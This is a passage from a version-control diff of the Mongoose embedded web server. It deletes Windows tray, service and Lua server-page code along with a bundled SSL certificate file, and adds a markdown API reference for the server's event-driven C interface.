-static void show_settings_dialog() {
-#define HEIGHT 15
-#define WIDTH 400
-#define LABEL_WIDTH 80
-
-  unsigned char mem[4096], *p;
-  const char **option_names, *long_option_name;
-  DWORD style;
-  DLGTEMPLATE *dia = (DLGTEMPLATE *) mem;
-  WORD i, cl, x, y, width, nelems = 0;
-  static int guard;
-
-  static struct {
-    DLGTEMPLATE template; // 18 bytes
-    WORD menu, class;
-    wchar_t caption[1];
-    WORD fontsiz;
-    wchar_t fontface[7];
-  } dialog_header = {{WS_CAPTION | WS_POPUP | WS_SYSMENU | WS_VISIBLE |
-    DS_SETFONT | WS_DLGFRAME, WS_EX_TOOLWINDOW, 0, 200, 200, WIDTH, 0},
-    0, 0, L"", 8, L"Tahoma"};
-
-  if (guard == 0) {
-    guard++;
-  } else {
-    return;
-  }
-
-  (void) memset(mem, 0, sizeof(mem));
-  (void) memcpy(mem, &dialog_header, sizeof(dialog_header));
-  p = mem + sizeof(dialog_header);
-
-  option_names = mg_get_valid_option_names();
-  for (i = 0; option_names[i * 2] != NULL; i++) {
-    long_option_name = option_names[i * 2];
-    style = WS_CHILD | WS_VISIBLE | WS_TABSTOP;
-    x = 10 + (WIDTH / 2) * (nelems % 2);
-    y = (nelems/2 + 1) * HEIGHT + 5;
-    width = WIDTH / 2 - 20 - LABEL_WIDTH;
-    if (is_numeric_options(long_option_name)) {
-      style |= ES_NUMBER;
-      cl = 0x81;
-      style |= WS_BORDER | ES_AUTOHSCROLL;
-    } else if (is_boolean_option(long_option_name)) {
-      cl = 0x80;
-      style |= BS_AUTOCHECKBOX;
-    } else if (is_filename_option(long_option_name) ||
-               is_directory_option(long_option_name)) {
-      style |= WS_BORDER | ES_AUTOHSCROLL;
-      width -= 20;
-      cl = 0x81;
-      add_control(&p, dia, 0x80,
-                  ID_CONTROLS + i + ID_FILE_BUTTONS_DELTA,
-                  WS_VISIBLE | WS_CHILD | BS_PUSHBUTTON,
-                  (WORD) (x + width + LABEL_WIDTH + 5),
-                  y, 15, 12, "...");
-    } else {
-      cl = 0x81;
-      style |= WS_BORDER | ES_AUTOHSCROLL;
-    }
-    add_control(&p, dia, 0x82, ID_STATIC, WS_VISIBLE | WS_CHILD,
-                x, y, LABEL_WIDTH, HEIGHT, long_option_name);
-    add_control(&p, dia, cl, ID_CONTROLS + i, style,
-                (WORD) (x + LABEL_WIDTH), y, width, 12, "");
-    nelems++;
-  }
-
-  y = (WORD) (((nelems + 1) / 2 + 1) * HEIGHT + 5);
-  add_control(&p, dia, 0x80, ID_GROUP, WS_CHILD | WS_VISIBLE |
-              BS_GROUPBOX, 5, 5, WIDTH - 10, y, " Settings ");
-  y += 10;
-  add_control(&p, dia, 0x80, ID_SAVE,
-              WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | WS_TABSTOP,
-              WIDTH - 70, y, 65, 12, "Save Settings");
-  add_control(&p, dia, 0x80, ID_RESET_DEFAULTS,
-              WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON | WS_TABSTOP,
-              WIDTH - 140, y, 65, 12, "Reset to defaults");
-  add_control(&p, dia, 0x82, ID_STATIC,
-              WS_CHILD | WS_VISIBLE | WS_DISABLED,
-              5, y, 180, 12, server_name);
-
-  dia->cy = ((nelems + 1) / 2 + 1) * HEIGHT + 30;
-  DialogBoxIndirectParam(NULL, dia, NULL, DlgProc, (LPARAM) NULL);
-  guard--;
-}
-
-static int manage_service(int action) {
-  static const char *service_name = "Mongoose";
-  SC_HANDLE hSCM = NULL, hService = NULL;
-  SERVICE_DESCRIPTION descr = {server_name};
-  char path[PATH_MAX + 20];  // Path to executable plus magic argument
-  int success = 1;
-
-  if ((hSCM = OpenSCManager(NULL, NULL, action == ID_INSTALL_SERVICE ?
-                            GENERIC_WRITE : GENERIC_READ)) == NULL) {
-    success = 0;
-    show_error();
-  } else if (action == ID_INSTALL_SERVICE) {
-    GetModuleFileName(NULL, path, sizeof(path));
-    strncat(path, " ", sizeof(path));
-    strncat(path, service_magic_argument, sizeof(path));
-    hService = CreateService(hSCM, service_name, service_name,
-                             SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
-                             SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
-                             path, NULL, NULL, NULL, NULL, NULL);
-    if (hService) {
-      ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &descr);
-    } else {
-      show_error();
-    }
-  } else if (action == ID_REMOVE_SERVICE) {
-    if ((hService = OpenService(hSCM, service_name, DELETE)) == NULL ||
-        !DeleteService(hService)) {
-      show_error();
-    }
-  } else if ((hService = OpenService(hSCM, service_name,
-                                     SERVICE_QUERY_STATUS)) == NULL) {
-    success = 0;
-  }
-
-  CloseServiceHandle(hService);
-  CloseServiceHandle(hSCM);
-
-  return success;
-}
-
-static LRESULT CALLBACK WindowProc(HWND hWnd, UINT msg, WPARAM wParam,
-                                   LPARAM lParam) {
-  static SERVICE_TABLE_ENTRY service_table[] = {
-    {server_name, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
-    {NULL, NULL}
-  };
-  int service_installed;
-  char buf[200], *service_argv[] = {__argv[0], NULL};
-  POINT pt;
-  HMENU hMenu;
-  static UINT s_uTaskbarRestart; // for taskbar creation
-
-  switch (msg) {
-    case WM_CREATE:
-      if (__argv[1] != NULL &&
-          !strcmp(__argv[1], service_magic_argument)) {
-        start_mongoose(1, service_argv);
-        StartServiceCtrlDispatcher(service_table);
-        exit(EXIT_SUCCESS);
-      } else {
-        start_mongoose(__argc, __argv);
-        s_uTaskbarRestart = RegisterWindowMessage(TEXT("TaskbarCreated"));
-      }
-      break;
-    case WM_COMMAND:
-      switch (LOWORD(wParam)) {
-        case ID_QUIT:
-          mg_stop(ctx);
-          Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
-          PostQuitMessage(0);
-          return 0;
-        case ID_SETTINGS:
-          show_settings_dialog();
-          break;
-        case ID_INSTALL_SERVICE:
-        case ID_REMOVE_SERVICE:
-          manage_service(LOWORD(wParam));
-          break;
-        case ID_CONNECT:
-          printf("[%s]\n", get_url_to_first_open_port(ctx));
-          ShellExecute(NULL, "open", get_url_to_first_open_port(ctx),
-                       NULL, NULL, SW_SHOW);
-          break;
-      }
-      break;
-    case WM_USER:
-      switch (lParam) {
-        case WM_RBUTTONUP:
-        case WM_LBUTTONUP:
-        case WM_LBUTTONDBLCLK:
-          hMenu = CreatePopupMenu();
-          AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, server_name);
-          AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
-          service_installed = manage_service(0);
-          snprintf(buf, sizeof(buf), "NT service: %s installed",
-                   service_installed ? "" : "not");
-          AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, buf);
-          AppendMenu(hMenu, MF_STRING | (service_installed ? MF_GRAYED : 0),
-                     ID_INSTALL_SERVICE, "Install service");
-          AppendMenu(hMenu, MF_STRING | (!service_installed ? MF_GRAYED : 0),
-                     ID_REMOVE_SERVICE, "Deinstall service");
-          AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
-          AppendMenu(hMenu, MF_STRING, ID_CONNECT, "Start browser");
-          AppendMenu(hMenu, MF_STRING, ID_SETTINGS, "Edit Settings");
-          AppendMenu(hMenu, MF_SEPARATOR, ID_SEPARATOR, "");
-          AppendMenu(hMenu, MF_STRING, ID_QUIT, "Exit");
-          GetCursorPos(&pt);
-          SetForegroundWindow(hWnd);
-          TrackPopupMenu(hMenu, 0, pt.x, pt.y, 0, hWnd, NULL);
-          PostMessage(hWnd, WM_NULL, 0, 0);
-          DestroyMenu(hMenu);
-          break;
-      }
-      break;
-    case WM_CLOSE:
-      mg_stop(ctx);
-      Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
-      PostQuitMessage(0);
-      return 0;  // We've just sent our own quit message, with proper hwnd.
-    default:
-      if (msg==s_uTaskbarRestart)
-        Shell_NotifyIcon(NIM_ADD, &TrayIcon);
-  }
-
-  return DefWindowProc(hWnd, msg, wParam, lParam);
-}
-
-int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR cmdline, int show) {
-  WNDCLASS cls;
-  HWND hWnd;
-  MSG msg;
-
-  init_server_name();
-  memset(&cls, 0, sizeof(cls));
-  cls.lpfnWndProc = (WNDPROC) WindowProc;
-  cls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
-  cls.lpszClassName = server_name;
-
-  RegisterClass(&cls);
-  hWnd = CreateWindow(cls.lpszClassName, server_name, WS_OVERLAPPEDWINDOW,
-                      0, 0, 0, 0, NULL, NULL, NULL, NULL);
-  ShowWindow(hWnd, SW_HIDE);
-
-  TrayIcon.cbSize = sizeof(TrayIcon);
-  TrayIcon.uID = ID_ICON;
-  TrayIcon.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;
-  TrayIcon.hIcon = hIcon = LoadImage(GetModuleHandle(NULL),
-                                     MAKEINTRESOURCE(ID_ICON),
-                                     IMAGE_ICON, 16, 16, 0);
-  TrayIcon.hWnd = hWnd;
-  snprintf(TrayIcon.szTip, sizeof(TrayIcon.szTip), "%s", server_name);
-  TrayIcon.uCallbackMessage = WM_USER;
-  Shell_NotifyIcon(NIM_ADD, &TrayIcon);
-
-  while (GetMessage(&msg, hWnd, 0, 0) > 0) {
-    TranslateMessage(&msg);
-    DispatchMessage(&msg);
-  }
-
-  // Return the WM_QUIT value.
-  return msg.wParam;
-}
-#elif defined(USE_COCOA)
-#import <Cocoa/Cocoa.h>
-
-@interface Mongoose : NSObject<NSApplicationDelegate>
-- (void) openBrowser;
-- (void) shutDown;
-@end
-
-@implementation Mongoose
-- (void) openBrowser {
-  [[NSWorkspace sharedWorkspace]
-    openURL:[NSURL URLWithString:
-      [NSString stringWithUTF8String:get_url_to_first_open_port(ctx)]]];
-}
-- (void) editConfig {
-  create_config_file(config_file);
-  [[NSWorkspace sharedWorkspace]
-    openFile:[NSString stringWithUTF8String:config_file]
-    withApplication:@"TextEdit"];
-}
-- (void)shutDown{
-  [NSApp terminate:nil];
-}
-@end
-
-int main(int argc, char *argv[]) {
-  init_server_name();
-  start_mongoose(argc, argv);
-
-  [NSAutoreleasePool new];
-  [NSApplication sharedApplication];
-
-  // Add delegate to process menu item actions
-  Mongoose *myDelegate = [[Mongoose alloc] autorelease];
-  [NSApp setDelegate: myDelegate];
-
-  // Run this app as agent
-  ProcessSerialNumber psn = { 0, kCurrentProcess };
-  TransformProcessType(&psn, kProcessTransformToBackgroundApplication);
-  SetFrontProcess(&psn);
-
-  // Add status bar menu
-  id menu = [[NSMenu new] autorelease];
-
-  // Add version menu item
-  [menu addItem:[[[NSMenuItem alloc]
-    //initWithTitle:[NSString stringWithFormat:@"%s", server_name]
-    initWithTitle:[NSString stringWithUTF8String:server_name]
-    action:@selector(noexist) keyEquivalent:@""] autorelease]];
-
-  // Add configuration menu item
-  [menu addItem:[[[NSMenuItem alloc]
-    initWithTitle:@"Edit configuration"
-    action:@selector(editConfig) keyEquivalent:@""] autorelease]];
-
-  // Add connect menu item
-  [menu addItem:[[[NSMenuItem alloc]
-    initWithTitle:@"Open web root in a browser"
-    action:@selector(openBrowser) keyEquivalent:@""] autorelease]];
-
-  // Separator
-  [menu addItem:[NSMenuItem separatorItem]];
-
-  // Add quit menu item
-  [menu addItem:[[[NSMenuItem alloc]
-    initWithTitle:@"Quit"
-    action:@selector(shutDown) keyEquivalent:@"q"] autorelease]];
-
-  // Attach menu to the status bar
-  id item = [[[NSStatusBar systemStatusBar]
-    statusItemWithLength:NSVariableStatusItemLength] retain];
-  [item setHighlightMode:YES];
-  [item setImage:[NSImage imageNamed:@"mongoose_22x22.png"]];
-  [item setMenu:menu];
-
-  // Run the app
-  [NSApp activateIgnoringOtherApps:YES];
-  [NSApp run];
-
-  mg_stop(ctx);
-
-  return EXIT_SUCCESS;
-}
-#else
-int main(int argc, char *argv[]) {
-  init_server_name();
-  start_mongoose(argc, argv);
-  printf("%s started on port(s) %s with web root [%s]\n",
-         server_name, mg_get_option(ctx, "listening_ports"),
-         mg_get_option(ctx, "document_root"));
-  while (exit_flag == 0) {
-    sleep(1);
-  }
-  printf("Exiting on signal %d, waiting for all threads to finish...",
-         exit_flag);
-  fflush(stdout);
-  mg_stop(ctx);
-  printf("%s", " done.\n");
-
-  return EXIT_SUCCESS;
-}
-#endif /* _WIN32 */

build/mod_lua.c

@@ -1,393 +0,0 @@
-#include "lua_5.2.1.h"
-
-#ifdef _WIN32
-static void *mmap(void *addr, int64_t len, int prot, int flags, int fd,
-                  int offset) {
-  HANDLE fh = (HANDLE) _get_osfhandle(fd);
-  HANDLE mh = CreateFileMapping(fh, 0, PAGE_READONLY, 0, 0, 0);
-  void *p = MapViewOfFile(mh, FILE_MAP_READ, 0, 0, (size_t) len);
-  CloseHandle(mh);
-  return p;
-}
-#define munmap(x, y)  UnmapViewOfFile(x)
-#define MAP_FAILED NULL
-#define MAP_PRIVATE 0
-#define PROT_READ 0
-#else
-#include <sys/mman.h>
-#endif
-
-static const char *LUASOCKET = "luasocket";
-
-// Forward declarations
-static void handle_request(struct mg_connection *);
-static int handle_lsp_request(struct mg_connection *, const char *,
-                              struct file *, struct lua_State *);
-
-static void reg_string(struct lua_State *L, const char *name, const char *val) {
-  lua_pushstring(L, name);
-  lua_pushstring(L, val);
-  lua_rawset(L, -3);
-}
-
-static void reg_int(struct lua_State *L, const char *name, int val) {
-  lua_pushstring(L, name);
-  lua_pushinteger(L, val);
-  lua_rawset(L, -3);
-}
-
-static void reg_function(struct lua_State *L, const char *name,
-                         lua_CFunction func, struct mg_connection *conn) {
-  lua_pushstring(L, name);
-  lua_pushlightuserdata(L, conn);
-  lua_pushcclosure(L, func, 1);
-  lua_rawset(L, -3);
-}
-
-static int lsp_sock_close(lua_State *L) {
-  if (lua_gettop(L) > 0 && lua_istable(L, -1)) {
-    lua_getfield(L, -1, "sock");
-    closesocket((SOCKET) lua_tonumber(L, -1));
-  } else {
-    return luaL_error(L, "invalid :close() call");
-  }
-  return 1;
-}
-
-static int lsp_sock_recv(lua_State *L) {
-  char buf[2000];
-  int n;
-
-  if (lua_gettop(L) > 0 && lua_istable(L, -1)) {
-    lua_getfield(L, -1, "sock");
-    n = recv((SOCKET) lua_tonumber(L, -1), buf, sizeof(buf), 0);
-    if (n <= 0) {
-      lua_pushnil(L);
-    } else {
-      lua_pushlstring(L, buf, n);
-    }
-  } else {
-    return luaL_error(L, "invalid :close() call");
-  }
-  return 1;
-}
-
-static int lsp_sock_send(lua_State *L) {
-  const char *buf;
-  size_t len, sent = 0;
-  int n, sock;
-
-  if (lua_gettop(L) > 1 && lua_istable(L, -2) && lua_isstring(L, -1)) {
-    buf = lua_tolstring(L, -1, &len);
-    lua_getfield(L, -2, "sock");
-    sock = (int) lua_tonumber(L, -1);
-    while (sent < len) {
-      if ((n = send(sock, buf + sent, len - sent, 0)) <= 0) {
-        break;
-      }
-      sent += n;
-    }
-    lua_pushnumber(L, n);
-  } else {
-    return luaL_error(L, "invalid :close() call");
-  }
-  return 1;
-}
-
-static const struct luaL_Reg luasocket_methods[] = {
-  {"close", lsp_sock_close},
-  {"send", lsp_sock_send},
-  {"recv", lsp_sock_recv},
-  {NULL, NULL}
-};
-
-static int lsp_connect(lua_State *L) {
-  char ebuf[100];
-  SOCKET sock;
-
-  if (lua_isstring(L, -3) && lua_isnumber(L, -2) && lua_isnumber(L, -1)) {
-    sock = conn2(lua_tostring(L, -3), (int) lua_tonumber(L, -2),
-                 (int) lua_tonumber(L, -1), ebuf, sizeof(ebuf));
-    if (sock == INVALID_SOCKET) {
-      return luaL_error(L, ebuf);
-    } else {
-      lua_newtable(L);
-      reg_int(L, "sock", sock);
-      reg_string(L, "host", lua_tostring(L, -4));
-      luaL_getmetatable(L, LUASOCKET);
-      lua_setmetatable(L, -2);
-    }
-  } else {
-    return luaL_error(L, "connect(host,port,is_ssl): invalid parameter given.");
-  }
-  return 1;
-}
-
-static int lsp_error(lua_State *L) {
-  lua_getglobal(L, "mg");
-  lua_getfield(L, -1, "onerror");
-  lua_pushvalue(L, -3);
-  lua_pcall(L, 1, 0, 0);
-  return 0;
-}
-
-// Silently stop processing chunks.
-static void lsp_abort(lua_State *L) {
-  int top = lua_gettop(L);
-  lua_getglobal(L, "mg");
-  lua_pushnil(L);
-  lua_setfield(L, -2, "onerror");
-  lua_settop(L, top);
-  lua_pushstring(L, "aborting");
-  lua_error(L);
-}
-
-static int lsp(struct mg_connection *conn, const char *path,
-               const char *p, int64_t len, lua_State *L) {
-  int i, j, pos = 0, lines = 1, lualines = 0;
-  char chunkname[MG_BUF_LEN];
-
-  for (i = 0; i < len; i++) {
-    if (p[i] == '\n') lines++;
-    if (p[i] == '<' && p[i + 1] == '?') {
-      for (j = i + 1; j < len ; j++) {
-        if (p[j] == '\n') lualines++;
-        if (p[j] == '?' && p[j + 1] == '>') {
-          mg_write(conn, p + pos, i - pos);
-
-          snprintf(chunkname, sizeof(chunkname), "@%s+%i", path, lines);
-          lua_pushlightuserdata(L, conn);
-          lua_pushcclosure(L, lsp_error, 1);
-          if (luaL_loadbuffer(L, p + (i + 2), j - (i + 2), chunkname)) {
-            // Syntax error or OOM. Error message is pushed on stack.
-            lua_pcall(L, 1, 0, 0);
-          } else {
-            // Success loading chunk. Call it.
-            lua_pcall(L, 0, 0, 1);
-          }
-
-          pos = j + 2;
-          i = pos - 1;
-          break;
-        }
-      }
-      if (lualines > 0) {
-        lines += lualines;
-        lualines = 0;
-      }
-    }
-  }
-
-  if (i > pos) {
-    mg_write(conn, p + pos, i - pos);
-  }
-
-  return 0;
-}
-
-static int lsp_write(lua_State *L) {
-  int i, num_args;
-  const char *str;
-  size_t size;
-  struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
-
-  num_args = lua_gettop(L);
-  for (i = 1; i <= num_args; i++) {
-    if (lua_isstring(L, i)) {
-      str = lua_tolstring(L, i, &size);
-      mg_write(conn, str, size);
-    }
-  }
-
-  return 0;
-}
-
-static int lsp_read(lua_State *L) {
-  struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
-  char buf[1024];
-  int len = mg_read(conn, buf, sizeof(buf));
-
-  if (len <= 0) return 0;
-  lua_pushlstring(L, buf, len);
-
-  return 1;
-}
-
-// mg.include: Include another .lp file
-static int lsp_include(lua_State *L) {
-  struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
-  struct file file = STRUCT_FILE_INITIALIZER;
-  if (handle_lsp_request(conn, lua_tostring(L, -1), &file, L)) {
-    // handle_lsp_request returned an error code, meaning an error occured in
-    // the included page and mg.onerror returned non-zero. Stop processing.
-    lsp_abort(L);
-  }
-  return 0;
-}
-
-// mg.cry: Log an error. Default value for mg.onerror.
-static int lsp_cry(lua_State *L){
-  struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
-  cry(conn, "%s", lua_tostring(L, -1));
-  return 0;
-}
-
-// mg.redirect: Redirect the request (internally).
-static int lsp_redirect(lua_State *L) {
-  struct mg_connection *conn = lua_touserdata(L, lua_upvalueindex(1));
-  conn->request_info.uri = lua_tostring(L, -1);
-  handle_request(conn);
-  lsp_abort(L);
-  return 0;
-}
-
-static void prepare_lua_environment(struct mg_connection *conn, lua_State *L) {
-  const struct mg_request_info *ri = mg_get_request_info(conn);
-  extern void luaL_openlibs(lua_State *);
-  int i;
-
-  luaL_openlibs(L);
-#ifdef USE_LUA_SQLITE3
-  { extern int luaopen_lsqlite3(lua_State *); luaopen_lsqlite3(L); }
-#endif
-
-  luaL_newmetatable(L, LUASOCKET);
-  lua_pushliteral(L, "__index");
-  luaL_newlib(L, luasocket_methods);
-  lua_rawset(L, -3);
-  lua_pop(L, 1);
-  lua_register(L, "connect", lsp_connect);
-
-  if (conn == NULL) return;
-
-  // Register mg module
-  lua_newtable(L);
-
-  reg_function(L, "read", lsp_read, conn);
-  reg_function(L, "write", lsp_write, conn);
-  reg_function(L, "cry", lsp_cry, conn);
-  reg_function(L, "include", lsp_include, conn);
-  reg_function(L, "redirect", lsp_redirect, conn);
-  reg_string(L, "version", MONGOOSE_VERSION);
-
-  // Export request_info
-  lua_pushstring(L, "request_info");
-  lua_newtable(L);
-  reg_string(L, "request_method", ri->request_method);
-  reg_string(L, "uri", ri->uri);
-  reg_string(L, "http_version", ri->http_version);
-  reg_string(L, "query_string", ri->query_string);
-  reg_int(L, "remote_ip", ri->remote_ip);
-  reg_int(L, "remote_port", ri->remote_port);
-  reg_int(L, "num_headers", ri->num_headers);
-  lua_pushstring(L, "http_headers");
-  lua_newtable(L);
-  for (i = 0; i < ri->num_headers; i++) {
-    reg_string(L, ri->http_headers[i].name, ri->http_headers[i].value);
-  }
-  lua_rawset(L, -3);
-  lua_rawset(L, -3);
-
-  lua_setglobal(L, "mg");
-
-  // Register default mg.onerror function
-  luaL_dostring(L, "mg.onerror = function(e) mg.write('\\nLua error:\\n', "
-                "debug.traceback(e, 1)) end");
-}
-
-static int lua_error_handler(lua_State *L) {
-  const char *error_msg =  lua_isstring(L, -1) ?  lua_tostring(L, -1) : "?\n";
-
-  lua_getglobal(L, "mg");
-  if (!lua_isnil(L, -1)) {
-    lua_getfield(L, -1, "write");   // call mg.write()
-    lua_pushstring(L, error_msg);
-    lua_pushliteral(L, "\n");
-    lua_call(L, 2, 0);
-    luaL_dostring(L, "mg.write(debug.traceback(), '\\n')");
-  } else {
-    printf("Lua error: [%s]\n", error_msg);
-    luaL_dostring(L, "print(debug.traceback(), '\\n')");
-  }
-  // TODO(lsm): leave the stack balanced
-
-  return 0;
-}
-
-void mg_exec_lua_script(struct mg_connection *conn, const char *path,
-                        const void **exports) {
-  int i;
-  lua_State *L;
-
-  if (path != NULL && (L = luaL_newstate()) != NULL) {
-    prepare_lua_environment(conn, L);
-    lua_pushcclosure(L, &lua_error_handler, 0);
-
-    lua_pushglobaltable(L);
-    if (exports != NULL) {
-      for (i = 0; exports[i] != NULL && exports[i + 1] != NULL; i += 2) {
-        lua_pushstring(L, exports[i]);
-        lua_pushcclosure(L, (lua_CFunction) exports[i + 1], 0);
-        lua_rawset(L, -3);
-      }
-    }
-
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-    if (ls == NULL) {
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-      if (conn->ctx->callbacks.init_lua != NULL) {
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build/res.rc

@@ -1 +0,0 @@
-100 ICON DISCARDABLE "systray.ico"

build/ssl_cert.pem

@@ -1,50 +0,0 @@
------BEGIN RSA PRIVATE KEY-----
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------END RSA PRIVATE KEY-----
------BEGIN CERTIFICATE-----
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------END CERTIFICATE-----
------BEGIN DH PARAMETERS-----
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-6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
------END DH PARAMETERS-----

docs/API.md

@@ -0,0 +1,241 @@
+# Mongoose API Reference
+
+    struct mg_server *mg_create_server(void *server_param);
+
+Creates web server instance. Returns opaque instance pointer, or NULL if
+there is not enough memory. `server_param`: Could be any pointer, or NULL.
+This pointer will be passed
+to the callback functions as `struct mg_connection::server_param` field.
+A common use case is to pass `this` pointer of the C++ wrapper class
+as `user_param`, to let the callback get the pointer to the C++ object.
+
+Note that this function doesn't make the
+server instance to serve. Serving is done by `mg_poll_server()` function.
+Mongoose has single-threaded, event-driven, asynchronous, non-blocking core.
+When server instance is created, it contains an information about
+the configuration and the state of each connection.
+Server instance is capable on listening on only one port. After creation,
+`struct mg_server` has a list
+of active connections and configuration parameters.
+
+Side-effect: on UNIX, `mg_create_server()` ignores SIGPIPE signals. If custom
+processing is required SIGPIPE, signal handler must be set up after
+calling `mg_create_server()`.
+
+Important: Mongoose does not install `SIGCHLD` handler. If CGI is used,
+`SIGCHLD` handler must be set up to reap CGI zombie processes.
+
+
+    void mg_destroy_server(struct mg_server **server);
+
+Deallocates web server instance, closes all pending connections, and makes
+server pointer a NULL pointer.
+
+    const char mg_set_option(struct mg_server *server, const char *name,
+                             const char *value);
+
+Sets a particular server option. Note that at least one option,
+`listening_port`, must be specified. To serve static files, `document_root`
+must be specified too. If `document_root` option is left unset, Mongoose
+will not access filesystem at all. `mg_set_option()` returns NULL if option was
+set successfully, otherwise it returns human-readable error string. It is
+allowed to call `mg_set_option()` by the same thread that does
+`mg_poll_server()` (Mongoose thread) and change server configuration while it
+is serving, in between `mg_poll_server()` calls.
+
+    void mg_poll_server(struct mg_server *server, int milliseconds);
+
+Performs one iteration of IO loop by iterating over all
+active connections, performing `select()` syscall on all sockets with a timeout
+of `milliseconds`. When `select()` returns, Mongoose
+does an IO for each socket that has data to be sent or received. Application
+code must call `mg_poll_server()` in a loop. It is an error to have more then
+one thread calling `mg_poll_server()`, `mg_set_option()` or any other function
+that take `struct mg_server *` parameter. Mongoose does not
+mutex-protect `struct mg_server *`, therefore only single thread
+(Mongoose thread) should make Mongoose calls.
+
+`mg_poll_server()` calls user-specified event handler when certain events
+occur. Sequence of events for the accepted connection is this:
+
+   * `MG_AUTH` - Mongoose asks whether this connection is authorized. If event
+      handler returns `MG_FALSE`, then Mongoose does not serve the request but
+      sends authorization request to the client. If `MG_TRUE` is returned,
+      then Mongoose continues on with the request.
+   * `MG_REQUEST` - Mongoose asks event handler to serve the request. If
+      event handler serves the request by sending a reply,
+      it should return `MG_TRUE`. Otherwise,
+      it should return `MG_FALSE` which tells Mongoose that request is not
+      served and Mongoose should serve it. For example, event handler might
+      choose to serve only RESTful API requests with URIs that start with
+      certain prefix, and let Mongoose serve all static files.
+      If event handler decides to serve the request, but doesn't have
+      all the data at the moment, it should return `MG_MORE`. That tells
+      Mongoose to send `MG_POLL` events on each iteration of `mg_poll_server()`
+
+      `mg_connection::connection_param` pointer is a placeholder to keep
+      user-specific data. For example, handler could decide to open a DB
+      connection and store DB connection handle in `connection_param`.
+   * `MG_POLL` is sent only to those connections which returned `MG_MORE`.
+      Event handler should try to complete the reply. If reply is completed,
+      then event handler should return `MG_TRUE`. Otherwise, it should
+      return `MG_FALSE`, and polling will continue until
+      handler returns `MG_TRUE`.
+   * `MG_HTTP_ERROR` sent when Mongoose is about to send HTTP error back
+      to the client. Event handler can choose to send a reply itself, in which
+      case event handler must return `MG_TRUE`. Otherwise, event handler must
+      return `MG_FALSE`
+   * `MG_CLOSE` is sent when the connection is closed. This event is used
+      to cleanup per-connection state stored in `connection_param`
+      if it was allocated.
+
+Sequence of events for the client connection is this:
+
+   * `MG_CONNECT` sent when Mongoose has connected to the remote host.
+   This event is sent to the connection initiated by `mg_connect()` call.
+   Connection status is held in `mg_connection::status_code`: if zero,
+   then connection was successful, otherwise connection was not established.
+   User should send a request upon successful connection.
+   * `MG_REPLY` is sent when response has been received from the remote host.
+   * `MG_CLOSE` same as for the accepted connection.
+
+
+When mongoose buffers in HTTP request and successfully parses it, it sends
+`MG_REQUEST` event for GET requests immediately. For POST requests,
+Mongoose delays the call until the whole POST request is buffered in memory.
+POST data is available to the callback as `struct mg_connection::content`,
+and POST data length is in `struct mg_connection::content_len`.
+
+Note that websocket connections are treated the same way. Mongoose buffers
+websocket frame in memory, and calls event handler when frame is fully
+buffered. Frame data is available `struct mg_connection::content`, and
+data length is in `struct mg_connection::content_len`, i.e. very similar to
+the POST request. `struct mg_connection::is_websocket` flag indicates
+whether the request is websocket or not. Also, for websocket requests,
+there is `struct mg_connection::wsbits` field which contains first byte
+of the websocket frame which URI handler can examine. Note that to
+reply to the websocket client, `mg_websocket_write()` should be used.
+To reply to the plain HTTP client, `mg_write_data()` should be used.
+
+
+    const char **mg_get_valid_option_names(void);
+
+Returns a NULL-terminated array of option names and their default values.
+There are two entries per option in an array: an option name followed by a
+default value. A default value could be NULL. A NULL name indicates an end
+of the array.
+
+    const char *mg_get_option(const struct mg_server *server, const char *name);
+
+Returns the value of particular configuration parameter. If
+given parameter name is not valid, NULL is returned. For valid names, return
+value is guaranteed to be non-NULL. If parameter is not set, zero-length string
+is returned.
+
+
+    void mg_iterate_over_connections(struct mg_server *, mg_handler_t func);
+
+This is an interface primarily designed to push arbitrary data to websocket
+connections at any time. This function could be called from the Mongoose thread
+only.  When it returns, Mongoose thread calls `func()` for each active
+connection.
+It is allowed to call `mg_send_data()` or `mg_websocket_write()` within a
+callback, cause `func` is executed in the context of the Mongoose thread.
+
+    void mg_wakeup_server(struct mg_server *);
+
+Makes `mg_poll_server()` that could be sleeping in the `select()` syscall
+to break the call and return. This function can be called from any thread.
+It is designed to let other threads wake up Mongoose thread from the sleep
+and let it do a fresh new IO iteration over all connection. Usually it is done
+when other threads decides there is new data ready to be sent by Mongoose.
+
+    void mg_send_status(struct mg_connection *, int status_code);
+    void mg_send_header(struct mg_connection *, const char *name,
+                        const char *value);
+    void mg_send_data(struct mg_connection *, const void *data, int data_len);
+    void mg_printf_data(struct mg_connection *, const char *format, ...);
+
+These functions are used to construct a response to the client. HTTP response
+consists of three parts: a status line, zero or more HTTP headers,
+a response body.  Mongoose provides functions for all three parts:
+   * `mg_send_status()` is used to create status line. This function can be
+      called zero or once. If `mg_send_status()` is not called, then Mongoose
+      will send status 200 (success) implicitly.
+   * `mg_send_header()` adds HTTP header to the response. This function could
+      be called zero or more times.
+   * `mg_send_data()` and `mg_printf_data()` are used to send data to the
+     client. Note that Mongoose adds `Transfer-Encoding: chunked` header
+     implicitly, and sends data in chunks. Therefore, it is not necessary to
+     set `Content-Length` header. Note that `mg_send_data()` and
+     `mg_printf_data()` do not send data immediately. Instead, they spool
+     data in memory, and Mongoose sends that data later after URI handler
+     returns. If data to be sent is huge, an URI handler might
+     send data in pieces by saving state in
+     `struct mg_connection::connection_param` variable and returning `0`. Then
+     Mongoose will call a handler repeatedly after each socket write.
+
+<!-- -->
+
+    int mg_websocket_write(struct mg_connection* conn, int opcode,
+                           const char *data, size_t data_len);
+
